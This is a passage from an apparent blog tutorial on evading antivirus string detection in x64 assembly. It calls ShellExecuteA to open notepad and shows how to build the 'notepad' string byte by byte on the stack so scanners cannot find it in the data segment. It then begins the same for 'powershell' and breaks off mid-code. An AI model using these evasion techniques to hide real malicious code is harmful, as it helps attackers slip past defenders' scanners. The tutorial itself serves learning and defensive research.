&lt;p&gt;Because if you would look in the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea"&gt;MSDN documentation&lt;/a&gt;, you would find that there really isn't a &lt;code&gt;ShellExecute&lt;/code&gt; function available. There are &lt;code&gt;ShellExecuteA&lt;/code&gt; (For ANSI strings) and &lt;code&gt;ShellExecuteW&lt;/code&gt; (For Unicode strings), however. &lt;code&gt;ShellExecute&lt;/code&gt; is just a macro for these two functions. We can confirm this by looking at the &lt;code&gt;shellapi.h&lt;/code&gt; source code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#ifdef UNICODE&lt;/span&gt;
&lt;span class="cp"&gt;#define ShellExecute  ShellExecuteW&lt;/span&gt;
&lt;span class="cp"&gt;#else&lt;/span&gt;
&lt;span class="cp"&gt;#define ShellExecute  ShellExecuteA&lt;/span&gt;
&lt;span class="cp"&gt;#endif &lt;/span&gt;&lt;span class="c1"&gt;// !UNICODE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Since assembly does not use header files we can just call &lt;code&gt;ShellExecuteA&lt;/code&gt; or &lt;code&gt;ShellExecuteW&lt;/code&gt; directly. In this example, we won't be needing unicode support so we're going to be using the former.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Before we call the function in assembly, let's go back and take a look at how we did it in C.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;notepad&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We have 5 paremeters to pass to the function. Here's how we can write this in assembly using the Microsoft &lt;a href="https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170"&gt;x64 calling conventions&lt;/a&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; nShowCmd ; SW_SHOW == 0x5&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; lpDirectory ; NULL == 0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; lpParameters ; Clear register == NULL&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_notepad&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; lpFile&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_open&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; lpOperation&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; hwnd&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Call function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We then initialize the strings by adding a data segment section:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_open&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;open&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_notepad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For reference, here is our full code so far:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_open&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;open&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_notepad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;notepad&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_notepad&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_open&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Take note that this version of the code is still the one where the "notepad" string is detectable.&lt;/p&gt;
&lt;p&gt;To hide this string we need to apply the same solution we did to our C code; which is to place the data on the stack so that it would not be placed in the &lt;code&gt;.data&lt;/code&gt; segment.&lt;/p&gt;
&lt;p&gt;Here is how we did it in C:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And here is how to do it in assembly:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; Reserve space on stack for string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;o&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;a&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Load address of string to r8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; Reclaim space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here's a summary of the the above code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Since our string is 8 characters long (Including the &lt;code&gt;0x0&lt;/code&gt; or &lt;code&gt;NULL&lt;/code&gt; terminator), we reserve space on the stack with &lt;code&gt;sub rsp, 8&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;Each character is then placed individually in the reserved space using &lt;code&gt;move byte&lt;/code&gt; while adding an offset to &lt;code&gt;rsp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The address pointed to by &lt;code&gt;rsp&lt;/code&gt; is then loaded to the &lt;code&gt;r8&lt;/code&gt; register (This holds our 3nd parameter).&lt;/li&gt;
&lt;li&gt;We reclaim our reserved space using &lt;code&gt;add rsp, 8&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After the code above, &lt;code&gt;r8&lt;/code&gt; would now point to the location in the stack where our string resides:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-1-04" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-1-04.png" /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id="aside-what-if-we-have-longer-strings"&gt;Aside: What if we have longer strings?&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;If we have a longer string like "powershell", then we need to reserve more space on the stack.
Take note, however that when reserving space we need to maintain the &lt;em&gt;stack alignment&lt;/em&gt; so we add and subtract by multiples of 8.
The "powershell" string has 11 characters so we use 16.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;o&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;w&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
